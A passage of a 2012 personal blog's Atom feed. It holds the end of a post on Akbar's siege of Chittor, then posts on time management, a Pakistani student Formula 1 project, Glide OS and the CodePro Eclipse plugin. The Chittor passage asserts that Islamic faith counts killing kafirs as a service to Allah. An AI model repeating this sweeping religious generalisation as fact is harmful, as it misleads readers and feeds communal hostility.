&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
At
last, Akbar ordered to dig two Sabats (a trench covered with leather is called
a Sabat) from far away places to the wall of the fort. Then explosives in large
quantities were dumped at the walls of the fort and severe blasts collapsed the
wall. Expecting imminent fall of the fort, nearly 300 Rajput women sacrificed
their lives in Jauhar (self immolation in fire). When the Mughal army entered
the fort, nearly 800 Rajput soldiers were alive and all of them were put to the
sword. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
However,
according to the Islamic faith, killing so many kafirs and drenching the
Chittor Fort with kafirs’ blood, Akbar had undoubtedly done a great service to
Allah and Islam and to seek blessings for this great service.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 21.0pt; mso-layout-grid-align: none; mso-pagination: none; text-align: justify; text-autospace: none; text-justify: inter-ideograph;&quot;&gt;
Now
the tables has turned and the same conditions raised up against the Muslims where
some rulers are ruling over Muslim and they are powerful. So, the game of power
has began now it&#39;s time for us to face the music.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify; text-justify: inter-ideograph;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/5006978638336772147/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2012/07/no-kindess-for-killing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/5006978638336772147'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/5006978638336772147'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2012/07/no-kindess-for-killing.html' title='No Kindess for Killing'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-3329745098070223512</id><published>2012-06-01T06:20:00.001-07:00</published><updated>2012-06-01T06:20:33.019-07:00</updated><title type='text'>Consume 48 Hours in A Day</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Every morning when I wake up I realize that I have wasted 4-5 hours of my life by just having a good sleep. And when I move to bed in the mid of the night I always think about of things I had to do but didn&#39;t because of time and suddenly find my hands full of pending tasks. It&#39;s not like that I have wasted the whole day and at that time I got to know that what exactly I had to do? but, I think everyone has a lot of plans but wouldn&#39;t be able to execute because of time constraints.&lt;br /&gt;
It&#39;s something similar to our lives that we spend whole life in the way we want and while we were taking our last breath, we start praying for the forgiveness or most of us think at that time about what we could but not what we did already. Well, here the point is we all are surfing like robots and getting boss of our own who never satisfy with the performance of his employee. We start our day, go to work and then reach home then speak few words with dinner and then bed; each Monday we wait for the Friday.&lt;br /&gt;
We have no other option then be the part of this wheel which will never stop and it has started moving faster. We all are the part of the system where even watch is betraying us by moving faster. Few are still just thinking more then their needs, few still planning to think about the future, and few lucky people are living life in the way they want to.&lt;br /&gt;
But, my point is not that who is living the life in this or that way. But, here if we consider only the first two kinds of human then what exactly they are trying to fetch. If I just consider myself then have too many stuff to work on but in parallel can&#39;t leave my daily party, jogging is also as important as training which is as important as party. So, indirectly I can&#39;t skip anything out from my life but, it&#39;s difficult to find the way to overcome this situation. So, from now on I have eliminated few very useless tasks from my life, like useless family gathering or weddings, wasting my time in the backbiting or socio-economical discussion which has no resultant. I think I&#39;ll not be able to fetch out 48 whole hours in a day but I think it will be a better try to utilize the 24 hours honestly. I could save my few more hours by hiring a driver but, I don&#39;t want to give him the driving pleasure which I enjoy the most.&lt;br /&gt;
So, let&#39;s see how many around agree with this thing as I know few will&amp;nbsp;completely&amp;nbsp;take me as an anti-social, but, I think it&#39;s better to be an anti-social than to be the part of those who never did anything and will think about what they could do at last breath&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/3329745098070223512/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2012/06/consume-48-hours-in-day.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/3329745098070223512'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/3329745098070223512'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2012/06/consume-48-hours-in-day.html' title='Consume 48 Hours in A Day'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-717990959033548370</id><published>2012-05-01T11:18:00.001-07:00</published><updated>2012-05-01T11:25:31.426-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>First Formula 1 Car</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
I have seen so many students in my life as I also do some&amp;nbsp;voluntarily&amp;nbsp;advisory service for IT students. &amp;nbsp;Not, only this but have also tried to promote the work of those students, where I think the work in not extraordinary but, they have the skill-set to do something beyond the thoughts.&lt;br /&gt;
&lt;br /&gt;
Well, Pakistan is considered to be the country lives under the threats of terrorist and the people here always talk about the stuff which is not healthy for anyone including themselves. But, if this tail can be considered true then why different countries on the globe, hire the people from Pakistan and India. As everyone is aware that the people here are talented but unfortunately due to project funding issues and the growing country problems people have started migrating to different lands where they can find peace. As the first statement was not a rumor and it&#39;s a bitter reality but along with that the people are talented and always try to do something innovated which can&#39;t be expected from the country.&lt;br /&gt;
&lt;br /&gt;
It&#39;s a true talent I think, as in Israel students get isolated from the problematic world and they get more productive but, what&#39;s about those talented fellows who works under pressure with all the constraint exists in this country i.e. Electricity, Gas, Strikes and other hurdles which halts the city operations.&lt;br /&gt;
&lt;br /&gt;
I know there are so many breathing at this land who are doing some work with very low resources. But, here I am mentioning only few whom I met. Aman Ahmed, a person who has been trying to work on green energy for past few months and finally being able to produce 110W of electricity and still facing problems but I know that he will be able to achieve that as his target is 500W at least. So, that he can use that electricity to charge the batteries of UPS which will obviously reduce the consumption of ESC (Electrical Supply Company) units.&lt;br /&gt;
&lt;br /&gt;
But, as I have mentioned this article is to promote the first formula one car which will be painted in green and white, obviously the flag color of Pakistan. Whenever we just think about formula one racing ,we always come up with the following brands Ferrari, Honda, McLaren Mercedes and Renault and so many $ symbols in our mind. As everyone, who has even least interest in cars can be aware of the prices of these expensive cars . But, the time is not so far when Pakistan will be enqueued in these brands, with a cost effective model of Formula One car. As the student of NED are also working on creating a first Formula 1 car. I think if we will not be able to promote the talent then obviously like other talented fellows of this region, this talent will migrate to other countries. And once again we will loose what we have.&lt;br /&gt;
&lt;br /&gt;
These are the students of NED, creating a Forumla 1 car as their FYP (Final Year Project) and these students are the group of person who always take the difficult jobs as fun.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Georgia, &#39;Times New Roman&#39;, Times, serif; font-size: 14px; line-height: 24px; text-align: -webkit-auto;&quot;&gt;It’s kind of fun to do the impossible. – Walt Disney&lt;/span&gt;&lt;/blockquote&gt;
I think if we can&#39;t just directly help their project by giving a complete sponsor then at least can pray for them and also promote them as much as possible. These guys can easily be followed on facebook:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;a href=&quot;https://www.facebook.com/FormulaPakistan&quot;&gt;https://www.facebook.com/FormulaPakistan&lt;/a&gt;&lt;/blockquote&gt;
&lt;br /&gt;
And if anyone can help them then can talk to them directly either. I have just noticed that these guys are progressing well and hopefully first Formula 1 of Pakistan will be on roads soon.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/717990959033548370/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2012/05/first-formula-1-car.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/717990959033548370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/717990959033548370'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2012/05/first-formula-1-car.html' title='First Formula 1 Car'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-711536323417521432</id><published>2012-04-27T04:03:00.000-07:00</published><updated>2012-04-27T12:11:36.613-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Glide OS, A Web Based Computer</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
I have been working with an IT industry since long and always try to backup the important stuff I have created. Not only this but, I also try to carry my laptop with me in order to create some presentation or write a document while I was having my coffee. But, why do I always need to carry the laptop when my friend is carrying his laptop. As I think if someone has internet access and I can simply create a presentation by borrowing a laptop then why do I need to take risk of carrying my device in Karachi, where snatching is too common.&lt;br /&gt;
&lt;br /&gt;
But, problem is how can I create a presentation on someone&#39;s PC by keeping my presentation secure and private without downloading on his/her system. Here, I wished so many times that could have an OS which should be virtual where I can create or update my documents.&lt;br /&gt;
&lt;br /&gt;
Or by getting back to my laptop I can easily synchronize that document from server to my local machine, so that I can continue my changes into that. Well, in this case I found Glide OS, A web based operating system with 30 GB of free space. Yes, free space of 30 GB is being offered by this company. And I have been using it since past 2 years and try to update my all the important documents to that. So, I can easily access my important information everywhere.&lt;br /&gt;
&lt;br /&gt;
As it&#39;s a complete OS created by TransMX, for which I am really thankful to them. As I can easily develop website pages, documents, presentations and other then this I can also synchronize my calendar and contacts directly to the server by using a client utility provided for all the OS.&lt;br /&gt;
&lt;br /&gt;
In most of the cases I was unable to find the synchronizer for my Macbook which is a plus for me to have the client for macbook too. This client can get the information from outlook and can get synchronized. PhotoEditor is not like photoshop but a basic tool for photo editing which is fair enough for me to use. As, for professional picture editing I commonly go for my machine rather then using this. &amp;nbsp;User interface of the whole OS is also a plus.&lt;br /&gt;
&lt;br /&gt;
Well, here I am not comparing it with Google Drive as google drive is not exactly the same because Google Drive offers sharing which unfortunately Glide OS doesn&#39;t offer in collaboration mode. So, both tools are different and have different significance. In my opinion sign up for both and have fun.&lt;br /&gt;
&lt;br /&gt;
Website for GlideOS Registration:&amp;nbsp;http://www.glidedigital.com/&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEpBEigVYt5Mp019YOwyzqqqvnGSIpNCFqMakKh2arntlvwHJeHB1XHIkutKeW3iXGzl0928OnKziuy7PKGA5TSyH3EsAwu06Comep0Orzg3W0BBJ93Lzs4d08k3KpRAld14GUW7RV4F9a/s1600/Screen+shot+2012-04-27+at+4.12.33+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;177&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEpBEigVYt5Mp019YOwyzqqqvnGSIpNCFqMakKh2arntlvwHJeHB1XHIkutKeW3iXGzl0928OnKziuy7PKGA5TSyH3EsAwu06Comep0Orzg3W0BBJ93Lzs4d08k3KpRAld14GUW7RV4F9a/s400/Screen+shot+2012-04-27+at+4.12.33+PM.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/711536323417521432/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://wakirmani.blogspot.com/2012/04/glide-os-web-based-computer.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/711536323417521432'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default/711536323417521432'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/2012/04/glide-os-web-based-computer.html' title='Glide OS, A Web Based Computer'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEpBEigVYt5Mp019YOwyzqqqvnGSIpNCFqMakKh2arntlvwHJeHB1XHIkutKeW3iXGzl0928OnKziuy7PKGA5TSyH3EsAwu06Comep0Orzg3W0BBJ93Lzs4d08k3KpRAld14GUW7RV4F9a/s72-c/Screen+shot+2012-04-27+at+4.12.33+PM.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-6832985028365047135</id><published>2012-04-17T22:51:00.009-07:00</published><updated>2012-04-21T16:03:36.735-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Code Pro Analytics - A Must Have Tool</title><content type='html'>&lt;div style=&quot;font-weight: normal; text-align: center; &quot;&gt;&lt;span&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span style=&quot;font-size: 100%; font-family: Georgia, serif; &quot;&gt;Today we all developers keep writing code, and try to write robust code as much as possible. But, due to lack of time and crunch time we never be able to maintain our coding standards. I often thought to hire an assistant for me to just to verify the code I have written is according to standards or not or just mark the code with problems. Anyway after such a long thought processing I started googling the solution to my problem.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;I found CodePro in google&#39;s java dev tools library.&lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size: 100%; &quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size: 100%; &quot;&gt;&lt;blockquote style=&quot;font-weight: normal; &quot;&gt;https://developers.google.com/java-dev-tools/codepro/&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;How to Install&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;For the installation of Code Pro you must need eclipse 3.4 or greater version.&lt;/div&gt;&lt;div style=&quot;font-weight: normal; font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;Go to this site &lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;blockquote style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;&lt;/blockquote&gt;&lt;blockquote style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;&lt;/blockquote&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote style=&quot;font-weight: normal; &quot;&gt;&lt;div&gt;&lt;span&gt;https://developers.google.com/java-dev-tools/download-codepro&lt;blockquote&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style=&quot;font-weight: normal; font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;and copy the URL for installation according to the eclipse version you have on your machine. Once you have copied the URL simply go to my eclipse help menu and click on  &#39;Install new software...&#39; menu item. Once you will click on that, a new window will be appeared on your screen.&lt;/div&gt;&lt;div style=&quot;font-weight: normal; font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEaegKafqpX1Ue9Z8pRJAB5lLrwJtDQI9lsOK5MWZ7SUh198lavf94zbweyIujeQsKutW4x8f3oAHw6rq9NNVD8Hnthz4yMlXP0F4aBxRtLa7sTK5LpGc1q9cqNy-kYyPe873F-667Y3-8/s1600/installnew.jpg&quot; style=&quot;font-family: Times; font-size: medium; &quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEaegKafqpX1Ue9Z8pRJAB5lLrwJtDQI9lsOK5MWZ7SUh198lavf94zbweyIujeQsKutW4x8f3oAHw6rq9NNVD8Hnthz4yMlXP0F4aBxRtLa7sTK5LpGc1q9cqNy-kYyPe873F-667Y3-8/s320/installnew.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5732642540060155442&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 264px; &quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;Copy the URL into Work with field. Once you will click on add button just followed by the URL field. You will see a list of projects. Select all the projects by checking out the checkboxes and just press &#39;next&#39; button, which will start the installation.&lt;/div&gt;&lt;div style=&quot;font-weight: normal; font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGoIK1VXGktLfER-Syw_jKZ3jfYOQxttNzCJFUo0j-WLmH0KH8adiwwo21i_3qwzLGKzDEGRhTew_A-4t6nctd51c241V4RFOktBnIryvsiqTMuXZ5VODNepLNWGCBsanL4au2R_zHHCxE/s1600/install.jpg&quot; style=&quot;font-family: Times; font-size: medium; &quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGoIK1VXGktLfER-Syw_jKZ3jfYOQxttNzCJFUo0j-WLmH0KH8adiwwo21i_3qwzLGKzDEGRhTew_A-4t6nctd51c241V4RFOktBnIryvsiqTMuXZ5VODNepLNWGCBsanL4au2R_zHHCxE/s320/install.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5732642535270272450&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 195px; &quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt; Once the installation will be finished you will see a dialog box that will ask you to apply the changes or restart the eclipse to apply the changes. At that point of time you should better restart your eclipse to apply the changes.&lt;/div&gt;&lt;div style=&quot;font-weight: normal; font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt;Once your eclipse restarted, you will see a new menubar item &#39;CodePro&#39;. Just click on that and you will see a number of submenu items in menu item &#39;Views&#39;.&lt;/div&gt;&lt;div style=&quot;font-weight: normal; font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; line-height: normal; &quot;&gt; &lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size: 100%; &quot;&gt;As so many features were in that tool but which I found the best, were:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size: 100%; &quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;ol&gt;&lt;li&gt;&lt;span&gt;Code Auditing and Code Marking&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Code Metrics&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Library Dependency Analyzer&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Similar Code Finder&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;span&gt;&lt;b&gt;Code Auditing &amp;amp; Code Marking&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Let&#39;s start with the first one, Code Auditing and Code Marking; as I have already told you about the problem that we often face in coding is that what exactly we wrote is according to coding standards or not. Because most of the time we find it messy when we try to figure out a problem after few months of writing code. That what exactly I wrote and what the blunders I have done here it could be better in this way, these are all the thoughts that start bubbling up in our mind once we review our own code after months of writing that.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span&gt;Code Pro made our lives easier by just giving a view of code audit. You just click on &#39;Audit&#39; from CodePro&#39;s &#39;Views&#39; menu. A new tab will appear at the console panel of your eclipse, titles as &#39;Audit&#39;. Click on &#39;Select Project&#39;, a list of all open projects will be available on your screen. Select any of the project you want to audit. I have selected a project already available in my workspace as &#39;WSClient&#39;. And just after clicking that project I got a complete list of recommendations from the CodePro auditor.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIyy2_wJOvxMJsPRhCzMcTN5b78XGlhVaGiO8hq5rT9pZileEaTFu1qYBjK72Xp-ndp1rhwwuilqY-1qeY3TIN2o1N2EzsdOLEGwOPdzKOJXzrbmb8jS-saVbwOl9NEdFRCkKan-2ndHTs/s1600/selectProject.jpg&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIyy2_wJOvxMJsPRhCzMcTN5b78XGlhVaGiO8hq5rT9pZileEaTFu1qYBjK72Xp-ndp1rhwwuilqY-1qeY3TIN2o1N2EzsdOLEGwOPdzKOJXzrbmb8jS-saVbwOl9NEdFRCkKan-2ndHTs/s320/selectProject.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5732642996522314786&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 320px; height: 68px; &quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_Wg_9xSKo2jSZYh3BYH8loa-K9uarlFLWvlRJ1Qo0z_i3O6hGYi5ZChtIZw4nWm-Lw5C1BuNwj0dyxIImRtdy8jvIecGguycgYPiEwFUdtpvkaLAmaR_OSVTkbQsLqHDVbf3j8tj7xKwT/s1600/Screen+shot+2012-04-18+at+11.17.14+AM.jpg&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_Wg_9xSKo2jSZYh3BYH8loa-K9uarlFLWvlRJ1Qo0z_i3O6hGYi5ZChtIZw4nWm-Lw5C1BuNwj0dyxIImRtdy8jvIecGguycgYPiEwFUdtpvkaLAmaR_OSVTkbQsLqHDVbf3j8tj7xKwT/s320/Screen+shot+2012-04-18+at+11.17.14+AM.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5732642530638601170&quot; style=&quot;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 284px; height: 320px; &quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span style=&quot;font-family: Georgia, serif; &quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span style=&quot;font-family: Georgia, serif; &quot;&gt;We can directly fix all those problems by just making a right click on the suggestion or even can also see the recommended solution and the reason behind, not to use that.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-weight: normal; &quot;&gt;&lt;span style=&quot;font-family: Georgia, serif; &quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsqawGFIwqUPkA-x8rUqoJiEMJb4vbUhYD52sYCrnL3dFQDjzz9Fc__fEXqjhHUi5penUb_M3UFv10znjabEFsAkwXf4G1TU0Vb4cMDv-WmPhyqf2lL7Ps3QvKmKPnFQ61SmCq7pBeuV19/s320/resultofaudit.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5732642989509174226&quot; style=&quot;color: 